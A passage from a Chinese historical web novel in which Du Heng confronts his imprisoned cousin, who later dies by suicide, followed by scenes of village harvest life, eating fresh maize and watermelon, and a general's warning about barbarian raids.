用尽全力只能伸出去一尺来长,连杜衡的衣角都碰不到。 他张嘴想喊,却因被皮塞堵住了嘴,只能发出呜呜的叫声。 徐六见杜有才激动,不由学着老头子的样子,用力甩了一记响亮的空鞭,厉声喝道, “给老子安分点!” 多日被鞭打的痛苦记忆,让杜有才本能一哆嗦,立刻收回手臂。 徐六这才满意了,上前给杜有才解开口中皮塞,又往他嘴里灌了两口水。 杜有才贪婪咽下水,觉得干疼的喉咙舒服了些,不由眼巴巴地看向徐六手里的水囊,想要再多喝几口。 徐六却已经退后,扭头冲杜衡道, “想说什么赶紧说,咱们最多只能在这儿待一刻钟。” 杜衡点头,掀开兜帽,走上前看着杜有才。 杜有才看到杜衡的脸,不由一怔。 这个杜衡跟他记忆中的杜衡有些不同,他记忆中的杜衡眼睛偏圆瞳仁很黑很亮,脸颊有些肉嘟嘟,乍一眼看过去,就跟什么都不懂的小孩一样。 正是靠着这样一副人畜无害天真懵懂的样子,才骗过了他和他爹,让他们对他放松了警惕。 可现在站在他面前的杜衡,眼睛变得狭长锐利了起来,脸颊没了肉,只有锋利的骨骼,在昏暗的光线下,莫名有股骇人的冷冽。 杜有才不由苦笑,这个样子的杜衡,大概才是真正的杜衡。 这小子从小到大就是个装猪扮老虎的高手,要不,他也不会落到这步田地。 想要求饶,想要求助的话,在对上杜衡脸的瞬间,统统咽回了肚子。 杜有才隐约有种直觉,不管他如何卑微哀求,杜衡都不会饶过他了,他就是要他死。 可杜衡偏要问, “你可还有什么想同我说的?” 杜有才控制不住愤怒,嘲讽讥笑道, “你来不就是想看看我有多惨多可怜,好嘲笑一通吗?何必假惺惺。” “我为什么要嘲笑你?”杜衡冷漠反问, “你都要死了,再嘲笑你对我有什么意义?” 杜有才气结,反唇相讥, “那你过来干嘛?想来体验一下地牢是什么滋味?” 杜衡不理会杜有才的挑衅,淡淡道, “我来是因为我爹,你我毕竟都姓杜,一脉同根。 你若是还有什么未了心愿,只要不伤天害理,能力范围内,我会帮你完成。” 杜有才愣住,好一会儿才哈哈干笑了几声,心情复杂道, “杜衡,你知道吗?我一直都很嫉妒你。” 杜衡面色如常,声音清冷, “知道,尤其是在立山书院的时候。” “哈,”杜有才不知道该怎么表达自己的难受,只能继续道, “在你没进入书院以前,我们一家过的很好,爹娘对我很是疼爱,从未觉得我有哪里不好。 可自从你进了书院,自从你屡次三番得到夫子的夸赞,我爹就开始变得暴躁。 他嫌我没你考的好,嫌我不够努力,对我没了之前的温和,动辄怒斥责骂,时常拿你同我比较。 你把我逼得实在没办法了,只能动手脚,可你的命怎么那么硬,怎么什么好事都能让你碰上? 难道你生来就是克我的不成? 你什么都不用做,高家那帮蠢货就拼死拼活护着你,高娇娇那个傻女人,还自掏腰包供你读书。 你又不是她亲弟弟,你那个短命的大哥跟她都没圆房,她算你哪门子嫂子,偏就那么护着你.......” 杜有才之前说什么,杜衡都没反应,可当杜有才提到高娇娇,杜衡的眼神一下子就变了。 徐六读书少,很难准确说出那种感觉,就觉得身边一下子变得冷飕飕,吓的他汗毛都竖起来了。 第三百零九章 自尽 杜衡沉声打断杜有才, “你爹之所以总爱拿我同你做比较,是因为他做了亏心事,他害怕。 他知道对不起我爹,害苦了我娘和我们一家,怕我找他报仇,就逼着你用功。 只有你比我厉害,他才不用害怕将来。 说到底,他所做的一切都是为了他自己,你现在还能喊他一声爹,可见你对他的感情有多深。 可他对你真的有感情吗? 你要是不姓杜,依然姓丁,会不会跟你娘和你弟弟妹妹一样,在路上就被他给抛弃了? 即便你改姓杜,即便你事事都听他的,弄的名声尽毁,如丧家之犬一样四处逃窜,他不还为了他自己把你给卖了吗? 他明知道我有多恨你们,还让你来找我求情? 你觉得我会原谅吗? 即便我昏了头原谅你们了,我一个连秀才都不是的小小童生,怎么可能让知府大人撤回已经发布的通缉令? 你但凡用脚指头想想,就知道杜家福是故意哄骗你,利用你吸引衙门的注意,给自己换取逃跑时机。 可怜你到了这个地步,还一口一个爹,还只知道把所有错处都怨到我头上,你可真是个彻头彻尾的蠢货! 你若不改姓,你若听你外祖母的话好好学医,你现在还是丁家的长孙,丁家药铺的继承人,有娘有弟弟有妹妹,有家有亲人。 而不是跟现在一样,狼狈不堪,名声尽毁!” 杜有才捂着心口,难受地喘不过气来。 杜衡的话戳破了他的所有伪装,让他不得不面对这个血淋淋的现实—— 他就是他爹手里的棋子,跟娘和弟弟妹妹没有任何区别。 可杜衡还嫌不够,又往杜有才心口扎了最狠的一刀, “杜家福肯定总跟你说,他做的一切都是为了你,为了杜家。 可你别忘了,我也姓杜,我要是考中功名当了官,也能为杜家改换门庭,为杜家光宗耀祖。 所以,如果真的是为了杜家,杜家福应该对我寄予厚望,竭力扶持才对。 但他却为了自己的私心,打压我,甚至想毁了我。 所以他不是为了杜家,更不是为了你,他就是为了他自己,他所做的一切都是为了他自己的荣华富贵! 他想不劳而获,想成为人上人,你在他眼中就是一块踏脚石。 他没能踏着你平步青云,所以他就一脚把你给踢了。 他打断你的腿的时候可曾手软过? 他让你进城来找我时,可曾犹豫过? 杜有才,认清现实吧,你爹杜家福,就是个彻头彻尾的人渣,他对你所有的好,都是为了利用你!” 杜有才像是被扼住了咽喉的濒死之人,他艰难地喘着气,充满恨意地瞪着杜衡,拼命伸长手臂, “不,不是的,我爹,不是,他不是.........” “都到了这步田地,你还不敢面对现实,杜有才,你真是懦弱至极,愚蠢至极,活着也是多余。” 杜衡说完最后一句,转身拂袖而去。 杜有才撕心裂肺的喊声在身后响起, “站住,别走,你回来,他不是,我没有对不起你,我没有.......” 声音渐渐变小,变成嚎啕大哭,撕心裂肺,痛彻心扉。 徐六突然停下脚步,杜衡被迫停下,不解看着他。 徐六有些不敢跟杜衡对视,他觉得杜衡说那番话的时候太可怕了,简直就像是个刽子手。 都说杀人诛心,对一个将死之人还要诛心,杜衡实在是有点狠。 但是吧,他老子说交朋友就要交比自己厉害的人,所以即便害怕,徐六还是耐心跟杜衡解释道, “那个,我得回去把皮塞给他塞上,不然他这么一直嚎,牢里的其他犯人受不了。” 杜衡无语侧过身,紧贴墙壁让出路来。 徐六尴尬转身,飞快跑回去,将杜有才嘴堵上。 见杜有才涕泪纵横,一副痛不欲生的样子,忍不住叹了口气,小声嘟囔, “就你这样的,还敢招惹他,真不知道你哪儿来的勇气? 那小子,可不是个一般人,跟他作对,可没有好下场。” 杜有才一动不动,没有任何反应,像一具被抽走了三魂六魄的但是还没凉透的尸体。 徐六又叹了口气,把牢门锁好,正要离开时,杜有才突然抓住了他的上衣下摆。 吓的徐六险些蹦起来,见杜有才有话要说,徐六忙小心翼翼打开皮塞,杜有才抬起眼皮,艰难吐出一句, “汝州府孟青阳。” “啊?” 徐六愣了愣,再追问,杜有才却什么也不肯再说了。 徐六无奈,出去后将这件事告诉了杜衡。 杜衡听到,不由一愣。 徐六拉着杜衡分析, “汝州离你们老家沁州有多远? 你说这个孟青阳会不会是杜家福的亲戚或者好友? 杜有才是不是早就知道杜家福会去找孟青阳? 那他可真是个硬骨头,被打成那样,关到地牢里了也不说,对他爹倒是忠心的很。 可我看他那样,实在不像是个硬骨头,你说他不会是故意胡编乱造一个人出来,故意骗咱们吧?” 杜衡摇头, “应该不是,他没那个脑子。” 徐六一噎,却忍不住点头, “那倒也是。” 杜衡想了想,缓缓道: “我记得小时候听我爹说起过,杜家福在丁家当学徒的时候,有个关系极好的师兄,好像就是姓孟。 说不定是杜家福跟杜有才聊起过这个人,但是没具体跟杜有才说过自己的打算,所以一开始你爹他们审问,就没问出来东西。 今天或许是被我刺激了,也可能是被关进地牢后自己逐渐醒过神来,想通了一些关节。 总之,这个孟青阳很可能是个有用的线索,你赶紧告诉你爹去吧。” 徐六点头,立刻去找他爹。 次日,徐六来小院找杜衡,告诉杜衡,杜有才昨天晚上用铁链把自己勒死了。 杜衡心里有些不是滋味,地牢里锁人的铁链很短,想用那个把自己勒死,得很费劲把脖子伸长,把头探进两个胳膊中间,然后双手同时用力绞。 中间但凡松口气,都不会成功。 可杜有才硬是用这种法子结束了自己的性命,可见他有多想死。 不过对他来说,死也算是一种解脱吧。 杜衡收起心中不必要生出的一丝难受,沉声对徐六道, “麻烦你帮我一个忙,我想安葬杜有才。” 徐六拍着胸脯十分豪爽道, “这点小事算什么麻烦,咱们兄弟之间不用客气,你有什么事只管吩咐我去办就是。” 杜衡哑然,他跟徐六什么时候亲近到能直接吩咐他办事的地步了? 以前也没见徐六这么平易近人,古道热肠啊。 徐六心想,你当我愿意给你当小弟啊,要不是我老子说你行事果断,心思深沉,绝非池鱼,让我好好巴结你,我用得着这样吗? 心里虽抱怨,但办起事来徐六可是一点也不含糊。 傍晚就把杜有才的尸体运了出来,装入杜衡买好的棺材,拉到城外一处荒山上埋了。 杜衡没给杜有才立碑,只在他坟边移栽了一棵山桃树。 他记得小时候,杜有才跟着杜家福回来祭祖,他眼巴巴看着供桌上的鲜桃流口水。 杜有才也不知是可怜他,还是想笑话他,偷偷拿了一个桃给他。 他年纪小,嘴馋,就直接吃了。 那是他第一次吃到那么大那么甜的桃,那个味道他记了很久很久。 直到后来爹死娘病,大哥天天跟他说大伯一家有多坏,让他一定要好好读书考功名,将来他们才不会受欺负。 说到底,他和杜有才都是身不由己,他的运气也确实比杜有才好一些。 他遇到了嫂嫂,还有高家人,他们对他真的非常好。 听说东城鲜果铺子里有产自西域的一种瓜,青皮红瓤十分美味,只是很贵,一个就要一两银子。 嫂嫂喜欢新奇美味的东西,他买一个回去,她见了一定会很欢喜。 想到高娇娇眉开眼笑的样子,杜衡沉闷的心里不由划过一丝暖意,哪怕离下次回家还要半个月,他就已经开始期待了。 第三百一十章 吃番麦 石楼村,高娇娇等人忙的热火朝天。 刚收割完双水村那边长的不怎么好,但多少也有点收成的小麦,荞麦就成熟了。 老王从不同地里扯了好几个麦穗,搓开看过后高兴的冲高长天道, “今年收成不赖,我估计一亩地能有个三百石左右。” 高长天也很高兴,真要能收那么多,今年可就不用愁了。 听到远处山里的布谷鸟叫个不停,高长天更加高兴,布谷鸟叫天晴,起码这两三天是不会下雨了,正好收麦。 为了尽快把粮食收入库,高长天让老王多雇些人,分别组成割麦小队和运麦小队。 谁家地多人少自己割不过来的,就雇小队来帮忙。 一个小队十个壮劳力,一天就能收割十几亩地,割下来的荞麦再由运麦小队拉到早就平整好的麦场。 先晾晒,再脱粒,最后装袋拉回家,或者卖给村里,存放到仓库中都行。 高娇娇没种荞麦,但她比种了荞麦的人更忙。 爹娘带着哥哥们都去收麦了,三嫂要忙绣坊,大嫂自从春花走后得了头疼病,晚上睡不着,白天没精神,根本指望不上。 于是,水田、集市、铺子,还有家里的牲口都交给了高娇娇。 高娇娇天刚亮就得起床,先去水田里看着人拔草除虫,然后去集市上转一圈看看今天的经营情况,接着去照看自家的肉铺,等到这些忙完,还要回家忙活家里的一摊子事。 忙的她都忘了杜衡多久没回来,突然看到他出现在家门口,还吓了一跳。 杜衡见家里忙成这样,脱下长衫换上短打就撸起袖子帮忙。 劈柴挑水喂鸡鸭鹅,割草铡草喂牛喂马喂骡子,洗衣做饭蒸馒头,一刻也不停歇,忙的像个陀螺。 看的高娇娇有些不忍心,忙拉着他道, “你才刚回来就歇一歇吧,这些活儿我们慢慢干,总能干的完。” 杜衡抹了把头上的汗,笑着道, “读书时总坐着不动,回来了多走动走动舒服。” 说着,又抱起一捆草,开始铡。 这时节不缺草,地里坡上沟里山里到处都是,但是两家四头牛两匹马还有一头骡子,一天要吃很多。 为了让牲口吃的好,要把草用铡刀铡成一寸来长的短,这样就能跟煮熟放凉的麦麸什么的,一起倒入食槽。 牲口吃起来更容易消化,也就更容易长膘。 高小寒、高冬月,和郭含玉,郭玉书姐弟俩,每天从学堂回来后,就跟在田木生身后,到处跑着割草。 背个小背篓,割满了就背回来,再去割,顺便抓些蚂蚱蟋蟀喂鸡鸭鹅。 家里的鸡开始下蛋后,高娇娇让曹婶子每天给几个小孩每人煮一个鸡蛋,连田木生也不例外。 田木生跟着高二宝他们练了一阵子功夫,加上吃得好,长高长胖了不少,性子也不似之前那么内向了,偶尔也敢跟高娇娇说笑几句。 除了照顾牲口,还有菜地要打理。 自从下过雨,菜地里的菜就跟疯了一样长了起来,争先恐后结果。 先是青瓜和茄子,接着是丝瓜和豆角,还有南瓜、冬瓜、菜瓜、芦笋、苋菜、苤蓝,一摘一筐,怎么吃都吃不完,送人别家也多得很,只能晒成菜干。 杜映梅每天就是摘菜洗菜切菜煮菜晒菜干,腌制各种咸菜,一边又累又烦,一边看着一坛坛咸菜,一袋袋菜干又开心得不得了。 逃过荒挨过饿的人都知道储存食物的重要,有这么多吃的,即便秋季收成不好,他们也不用太过担忧。 除了家里的菜,杜映梅还去外头挖野菜,马齿苋、扫帚苗、荆芥、薄荷,逮着什么她采什么。 弄回来又是一通收拾,吃不完的全部储存起来。 高娇娇见家里大笸箩小簸箕摆的满满当当,实在受不了了,就找木匠铺做了个晾晒药材的架子,可把杜映梅高兴坏了。 这下她一次能晒五大笸箩干菜了,还不用到处搬来抬去。 难得杜衡在家,高娇娇肯定不可能让他跟着吃菜吃瓜,就从铺子里拿回来一块酱牛肉,让曹婶子用挂面做凉汤面吃。 李二他娘心疼儿媳孕吐胃口不好,就花钱从城里买了有钱人家爱吃的细挂面和芝麻酱。 跟姚春香打听了做法,给儿媳妇做了爽口的凉面,苏娟吃了居然不吐了。 高兴的李二他娘又买了一些,还给姚春香和高娇娇都送了些。 姚春香和高娇娇自然不会占她便宜,回了她一块卤肉和一只小公鸡,让她给苏娟补身体。 高娇娇以前不知道这个时代就有挂面了,更不知道手工挂面居然这么好吃。 吃过后惊为天人,正好农忙就买了一大捆,这样想吃的时候随时都能煮来吃,不用自己和面压面那么累人了。 自然免不了被姚春香说乱花钱,家里都有做饸饹面的机子了,又不用擀面能有多累。 可高娇娇才不管,别的上头她都能省,唯独吃上面她一点也省不了。 用挂面做凉面十分简单,就是把面条煮熟,用凉水多过几遍,然后拌上一点香油防止黏连。 提前把蒜水、青瓜丝准备好,还有煮熟的绿豆芽和自己喜欢吃的其它菜,再把芝麻酱泻好,往面上一浇就成了。 凉丝丝滑溜溜的面条,混合着麻酱的香,蒜水的辣,青瓜和绿豆芽的清脆,以及泻麻酱时放的一点点醋的酸,配着酱牛肉,大夏天来一碗,舒服的不得了。 杜衡一口气吃了两碗,舒服地直叹气,比起书院食堂里的饭菜,还是家里的饭最好吃。 高娇娇一边吃一边跟大家商量下一顿吃啥, “家里还有端午节包粽子剩下的米,要不拿到磨坊去磨成粉,咱们做肉酱米粉吃,放点荆芥或者薄荷,还能解暑呢。” 杜映梅心疼钱,嚼着酱肉牛道, “中午刚吃了肉,晚上就别吃肉了吧,肉吃多了也腻得慌。 要不咱们蒸米糕吧,那个放凉了带到地里干活的时候也能吃。” 说完,还给自己找同盟,拉着高小寒和高冬月问他们想不想吃米糕。 高小寒和高冬月都是小孩,比起肉酱肯定更喜欢吃糕点,于是两个孩子都嚷着要吃米糕。 杜映梅忙对高娇娇道, “我们都想吃米糕,嫂嫂咱们就做米糕吧。” 高娇娇点头,杜映梅咧嘴笑,哪知下一秒,高娇娇道, “那就一半做米粉,一半蒸米糕。” 杜映梅急了,这日子还过不过了,不年不节的吃那么好干啥啊? 二哥又不是一年半载没回来了,这不也才一个月没回来嘛。 不成想高娇娇看了眼鸡棚旁边的番麦又道, “我看里头有几个番麦棒子都长得差不多了,咱们煮了吃吧。” 杜映梅顿时忘了米粉,立刻疯狂摇头道, “不行,不行,还没长熟呢,现在吃了多浪费。 朱叔说番麦是稀罕物,稀罕物都很贵,嫂嫂咱们还是吃米粉吧。 就按你说的,肉酱米粉和米糕咱们都做,我明天把菜晒上就把米背到磨坊去!” 说完,生怕高娇娇还要惦记番麦,忙往她嘴里塞了一大块酱牛肉,看的杜衡好笑不已。 他觉得以嫂嫂的个性,不会这么轻易放弃的。 果然不出他所料,傍晚趁着他和小梅去厨房做饭的功夫,嫂嫂就把几个番麦棒子掰了。 然后还一脸无辜道, “我本来准备去茅厕的,不小心衣摆被番麦棒子挂到了,我一扯,它就掉了。” 说完,把番麦棒子一扔,扭头就跑了。 杜映梅气得不行,忍不住跟杜衡告状, “麦子还绿着的时候,嫂嫂就带着高二宝他们去地头烧麦子吃。 前不久,她还吃了人家地里的蚕豆和豌豆,都没长大呢,都是绿的,她就摘回来煮了吃。 对了,她前天还摘了人家一兜子毛豆,煮的时候还放了很多香料。 那点子毛豆,还没那些香料值钱呢。 连高大伯都说不许她再摘了,这么糟践粮食会折损运道的,可她就是不听。” 第三百一十一章 说漏嘴了 杜衡知道杜映梅生气主要还是担心这么做对嫂嫂不好,庄稼人对粮食十分看重,再加上朝廷也有明文规定,不允许损坏青苗,所以一般不会有人吃还没成熟的麦子豆子。 顶多就是在缺少食物的时候,采摘些叶子茎秆当菜吃,不会损伤庄稼本身。 像嫂嫂这样专门挑着嫩的时候吃的人很少,会被认为是一种浪费,浪费粮食,在庄稼人看来,可是会遭天打雷劈的。 但是据杜衡所知,城里有钱有势的人家不仅吃,还会花高价吃,用他们的话来说就是吃这口鲜。 就拿那毛豆来说,现在城里的酒楼都会专门做一些来卖,这可是时令的下酒菜,一盘五香毛豆,可比一盘干炒黄豆贵。 还有豌豆,徐六说城里南方厨子们很爱用嫩豌豆做菜,据说南方人都喜欢这么吃。 不仅如此,南方人还爱吃一斤左右的小鸡,两个月以内的小猪,说因为小肉才嫩,才美味。 这都是他们这些庄稼人出身的泥腿子所不能理解的,但事实就是这样,越是有钱有势的人越追求极致的美味,他们根本不在乎浪费不浪费。 别的不敢说,杜衡十分肯定,这种嫩番麦棒子如果真是十分美味的话,卖这种可能比卖成熟的番麦更赚钱。 因为有钱人为了吃口鲜,是愿意付出比原本成熟作物几倍甚至十几倍的价钱的。 杜映梅听的目瞪口呆,难以置信, “哥,你觉不觉得有钱人的脑子有问题啊?” 杜衡笑着拍了拍她的脑袋,叹气道, “你不懂,有钱到一定程度,金银珠宝对他们来说跟泥巴石头没区别。 为了满足口腹之欲,他们不在乎钱。” “可,可,可这样总是有点不太对。” 杜映梅觉得自己的脑子里在打架,一边是从小到大听到的长辈教导,不能糟蹋粮食。 另一边是二哥说的那些,一斤的小鸡,两个月的小猪,正是长肉的时候,怎么舍得吃呢? 但是听二哥这么一说,杜映梅觉得嫂嫂想吃番麦棒子好像也能接受了。 她压低声音叮嘱杜衡道, “那咱们就说是不小心挂倒了,别让人知道是嫂嫂掰的,要不肯定有人又要说闲话了。” 杜衡点头,杜映梅又发了愁, “二哥,你知道番麦棒子要煮多久吗?外面这些皮要不要扒掉啊? 还有那个须须,好像也是能吃的,我偷偷扯下来一根尝过,没啥味儿,不苦也不涩,咱们要留着吗?” 杜衡被问住了,但他不慌,一本正经提议道, “这个,要不问问嫂嫂吧,她在吃上面很擅长。” 杜映梅....... 晚上,高娇娇吃了一大碗肉酱米粉,又吃了一块刚出锅的米糕,觉得有点撑,就一边在院里走来走去,一边抱着番麦棒子啃。 她亲手种的番麦比山里那帮人培育的好太多了,起码颗粒饱满,不像他们种的都是豁牙子。 就是这个味道嘛有点不尽人意,不够糯也不够甜,就是那种老式黄玉米的口感,加上长的还不到时候,略微有点水叽叽。 但这个味道就足以让杜衡他们惊为天人了,杜衡本来想着高娇娇爱吃,自己就随便尝一点,省下来留着给她吃。 哪知一口下去就被迷住了,等到醒过神时已经啃了快一半,他有些讪讪然停下,由衷感叹道, “这个味道真是美妙,香甜软糯有嚼劲,还清爽不腻,不像米不像麦,也不像豆子,简直独一无二。” 杜映梅使劲点头,高小寒和高冬月也只顾着点头,舍不得停下,继续啃。 他们人小牙嫩,稍微硬一些的东西吃起来都费劲。 但是这个番麦看着硬邦邦,吃着却一点也不硬,很嫩,水分很足,不仅好吃,还好玩的很。 一口啃下去,会留下牙印,啃完了高小寒还意犹未尽,想把剩下的那根芯也嚼吧嚼吧吃了。 高娇娇忙拦住他,开玩笑道, “你好歹留点给大黑它们尝尝味儿啊,别回头大黑闻到了,嫌你背着它偷吃好吃的,冲你翻白眼。” 高小寒想了下,还真拿起那根芯去喂大黑了。 大黑舌头一卷就整个卷进嘴里,嘎嘣嘎嘣嚼的特别香,吃完还嫌不过瘾,讨好舔着高小寒的手想要再来一根。 惹得旁边只能看着吃不到的马儿牛儿都急了眼,一个个踏蹄子打喷嚏哞哞叫着,不安分了起了。 杜映梅试着用剥下来的番麦皮和须须喂它们,见它们抢着吃,不由十分欢喜, “这个番麦可真是好,全身都是宝!” 被过来送菜的高二宝听见,忙追问道, “啥番麦?哪儿有宝?” 说完,使劲嗅着鼻子,朝高娇娇扑了上来, “姑姑,姑姑你背着我吃啥好吃的了? 我闻到一股从没闻过的味儿?香香的,我也要吃!” 高娇娇嫌弃地一把推开已经比她高的侄子的那张大脸,接过他手里的菜,塞给他半根番麦,小声叮嘱道, “就在这儿吃,吃完不许跟你爷奶他们说。” 高二宝高兴地嘿嘿直笑,都没弄清塞过来的是啥,就吃了起来。 高娇娇见他端过来一碗五香鹌鹑蛋,不由笑着递给杜衡道, “我二哥他们前两天进山伐木的时候捡到了一些鹌鹑蛋,我娘说这个补脑子,专门留着给你吃,你快吃吧。” 杜衡这会儿也吃撑了,但还是被姚婶子的关心感动,自己吃了一颗,又剥了几颗,分给高娇娇他们,剩下的留着明天当早饭。 杜映梅准备打水洗碗,看到井里吊着一篮子东西,提出来一看,不怎么认识,忙喊, “这井里吊的是个啥?谁吊的啊?” 杜衡这才想起自己带回来的西瓜,忙拿过来,切成小块分给大家,又装了满满一盘子,让高二宝带回去给高大伯他们也尝尝。 高二宝听杜衡说这是西域的瓜,好奇的不得了,高娇娇见他那样,忙叮嘱道, “别在路上偷吃啊,跟你爷奶他们说,吃的时候记得吐籽,把吐出来的籽洗洗晒干了能当种子。” 高二宝顿时高兴了起来, “姑姑,要照你这么说的话,咱们也能种出来西瓜了。” “兴许吧,试试呗。” 高娇娇说的很随意,杜衡听的无比震惊,他看了高娇娇好几眼,忍不住想问她怎么知道这些黑籽儿是西瓜的种子。 鲜果铺子里的伙计都没告诉他这些,他也没听徐六他们说过。 徐六只说西瓜挺好吃,汁水很多,但是太贵,他娘一次只肯买半个。 杜衡在没切开西瓜之前,甚至都不知道西瓜里有籽,还这么多。 他差点以为这是坏了呢。 嫂嫂又是怎么知道的? 据他所知,书籍上也没有对于西瓜的记载,伙计说他们铺子里也就这几年才开始有卖,以前都没有的。 察觉到杜衡疑惑的目光,高娇娇意识到自己说漏嘴了。 按照常理,她应该不认识西瓜才对。 可都已经这么说了,她也只能故作镇定补救,一边吃一边感叹, “你们看这东西像不像马泡瓜? 我刚看到的时候就觉得像,青皮黑道道花纹,就是要大很多。 没想到里头也像,有肉有籽,籽藏在肉里,不过这个西瓜的籽比较大比较黑,有点像老南瓜的籽。 你们说是不是跟种南瓜一样种下,就会长出来藤蔓,结出来新的瓜啊?” 杜映梅几人觉得高娇娇说的十分在理,你一言我一语热切的幻想着种出来大西瓜,想怎么吃怎么吃,还能拉到城里卖钱的场景。 杜衡琢磨着高娇娇的话,觉得她真是聪明,一下子就把西瓜跟马泡瓜对上了。 别说,这俩东西虽然一个是外邦来物,一个是天生野长,但仔细看看,还真有点像。 难怪她能想到留下种子种瓜的办法,马泡瓜就是用种子种出来的。 想通这点后,杜衡不由放松了下来,虽然他也不知道自己为什么紧张,但是就莫名其妙的紧张了起来。 第三百一十二章 蛮夷的威胁 因为吃的太饱,加上白天累了一天,高娇娇回屋躺下就睡着了。 梦里她带着杜映梅和杜衡掰了一大筐番麦棒子,煮着吃烤着吃,捣成汁,磨成粉,吃的不亦乐乎。 可一觉睡醒,高娇娇就迎来了噩耗,这个番麦她不能吃了。 因为高将军来了。 高铁峰此次过来,是照例巡查。 每年夏收秋收前,他都会去关隘附近的产粮要地转一转,一是查看一下今年的收成,二是提醒众人小心蛮夷来犯。 蛮夷打草谷之举由来已久,不同于大举入侵,正面对阵攻城略地的作战,打草谷更像是斥候突袭。 不以攻城略地为目的,奉行的是“能带走的全带走,带不走的全杀光抢光烧光”。多是轻骑精兵,来无影去无踪,十分难对付。 这些年,边关深受蛮夷打草谷之苦,就拿孟门关来说,大小军堡最多的时候有上万户,现在只剩不到七千户,少的那三千户,不是被蛮夷杀了就是被蛮夷抢掠了。 去年冬天更是惨不忍睹,因实在想不到蛮夷会在寒冬入侵,还派了那么多精锐,还有奸细做内应。 使得边关将士在毫无防备之下,被数千蛮夷精骑偷偷潜入,一路烧杀劫掠冲到并州府。 若不是徐进带领手下拼死守城,蛮夷就要攻破并州府一路杀入京城了。 正是因为这个,朝廷那帮人指责顾大将军玩忽职守,硬是剥夺了他大将军的封号,把他降职发配去守宁武关。 石楼村原本的村民,也是在这次打草谷中被蛮夷屠戮殆尽。 这次屠杀抢掠,蛮夷一共杀死掳掠人畜上万余,抢走黄金白银数万两,使得并州府损失惨重,粮库更是缺粮的很。 只怕需得三五年,才能缓的过来。 所以,高铁峰他们才会这般重视,接二连三巡查各处,鼓励帮扶村民建立自卫队,免得蛮夷一杀进来,就毫无抵抗之力。 连去边关送信求救都不能够,那他们便是想救也来不及。 要知道边关防线非常长,即便有长城这座天堑,也无法完全抵御住蛮夷。 因为长城并非完全封闭,有些地段会因为地形或其他原因存在缺口,虽然各关隘和烽火台能够传递警报,但也无法时时刻刻做到严防死守。 还有就是蛮夷骑兵精锐非常灵活机动,他们会利用夜色和不利天气进行偷袭,就像去年冬天的暴雪天。 突破长城防线后,他们会分散行动,所以很难快速准确的发现他们的行踪。 再加上还有见利忘义的无耻之徒做内应,所以顾大将军和边关守将们思来想去,觉得只有加强巡查,设立哨岗,让村民建立自卫队,才能避免惨剧再次发生。 听完高铁峰的话,就连高娇娇都不免忧心忡忡。 蛮夷精锐可不是土匪那种半吊子,那可都是以一敌百的凶徒,他们在逃荒路上遇到那群黑衣人,可是难杀的很。 虽然拼了命也能杀死,可但凡能过得去,谁想拼命啊? 高娇娇只要一想到跟那些黑衣人对砍的情形,还觉得后背生疼,心里发毛。 高娇娇都这般了,更何况其他人。 也就高长天和朱钰几个领头的还能保持淡定,当然也可能是他们不好意思在人前表现害怕。 一路从逃荒路上杀过来的柳树沟等人也还算平静,就是长吁短叹,担心蛮夷放火。 张家集和双水村的人则怕的不行了,有人甚至想要躲进山里去,房子和田地都不要了,保命要紧。 被高长天狠狠骂了一顿, “你们躲得了一时,还躲得了一世? 蛮夷要真丧心病狂放火烧山,你们躲在山里,岂不是死的更快? 要我说,一样都是人,都是凡胎肉身,咱们怕死,蛮夷也怕。 该来的躲不开,狭路相逢,谁先认怂谁先死! 倒不如跟蛮夷拼了,哪怕干不掉,只要拖个一时半刻,高将军他们就来了。 这里可是咱们的地盘,甭管是蛮夷还是土匪强盗,敢来抢咱们,咱们就让他们有来无回!” 高娇娇见众人不吭声,立刻高举手臂响应, “对,咱们杀他们一个落花流水! 逃荒路上咱们又不是没杀过,那么多黑衣人,放火烧山咱们都能反杀他们。 现在吃得饱穿得暖还有武器,怕个甚? 他们敢来,咱们十个打一个,还能打不过? 杀了他们,抢他们的马,夺他们的武器,砍了他们的脑袋去衙门领赏银去! 蛮夷精锐配备的可都是好东西,你们难道不想发笔横财?” 高大壮等人,跟着振臂高呼, “想!杀了蛮夷,抢光他们,咱们发大财!” 其他人,尤其是张家集和双水村的人,见他们这般,不由被蛊惑了。 注意力逐渐从蛮夷要来杀他们了,转移到了杀了蛮夷能发多大的财上。 人为财死鸟为食亡,钱财怂人胆,被发大财的诱惑吸引着,就连最胆怯的人竟也忘了害怕,跟着高喊了起来。 高娇娇很满意,输人不输阵,不能蛮夷还没打来,他们就怕成怂包了。 高铁峰看到这个情形,心情很是微妙。 按理说他该高兴的,要是每个村镇的百姓都能有这样的雄心壮志,何愁蛮夷不灭? 可问题是,按照朝廷律例,像马匹兵器这种战利品,不能归村民所有,得上缴官府。 还有就是,不是他看不起石楼村的这帮人,蛮夷精锐要是来十个八个,他们倒是有可能反杀。 但是上百人的蛮夷小队,他们要是敢硬抗,只有死路一条。 不过眼下群情激昂,他要是泼冷水也实在不合适,只能忍一忍,回头单独叮嘱高长天他们了。 哪知朱钰突然凑过来,压低声音来了句, “高将军不必担心,我们懂得规矩,战利品肯定不会全部留下,肯定会上缴一部分。” 高铁峰顿觉心里像是被人硬塞入一团棉花,堵的不上不下甚是难受。 这话说得,意思是他们扣下战利品,只上缴一部分,他还得谢谢他们了? 朱钰就是这个意思,他可不是什么好人,当不了忠心耿耿的顺民。 既然替边军对抗了外敌,那好处肯定是要吃到自己嘴里。 赏银他要,好名声他也要,战利品他更要要! 高铁峰过来还有第三件事,那就是查看番麦的成长情况,预定下所有成熟的番麦,运往京城。 但这件事他没当众说出来,而是在酒足饭饱后,悄悄跟高长天商量了起来。 他伸出一根手指,晃了晃, “高老哥,订金我给这个数。” 高长天看着高铁峰醉醺醺的脸,很想问问他这个数到底是哪个数? 是一两还是一百两,什么都没说让他硬猜他可猜不出来。 但他人老成精,心里没数,面上却一点也不表露,只豪爽道, “你想要只管拿去,说啥钱不钱的,咱们种出来的粮食不是早就说好了给你们嘛。 你们守卫边关流血流汗,我们多多种地收粮食,咱们军民一条心,保准把蛮子打回老窝。” “不不不,老哥,你是不知道,这玩意儿啊,不是用来吃的。” 高铁峰很感动老大哥的仗义,揽着他肩膀,跟他说了实话。 高长天愣住,担心地看向高娇娇,这玩意儿要是不是用来吃的,那他闺女昨儿已经吃了怎么办? 还有,他们可是把山里弄来的番麦棒子都脱了粒磨成粉吃了啊! 心里很慌,可面上高长天还是一如往常,哈哈笑着道, “兄弟你是不是喝多了?这地里长的,不用来吃用来干啥? 那又不是花,又不好看,也不能跟树一样一直长啊。” 高铁峰嘿嘿一笑,神秘兮兮道, “我没喝多,我脑子清醒着呢。 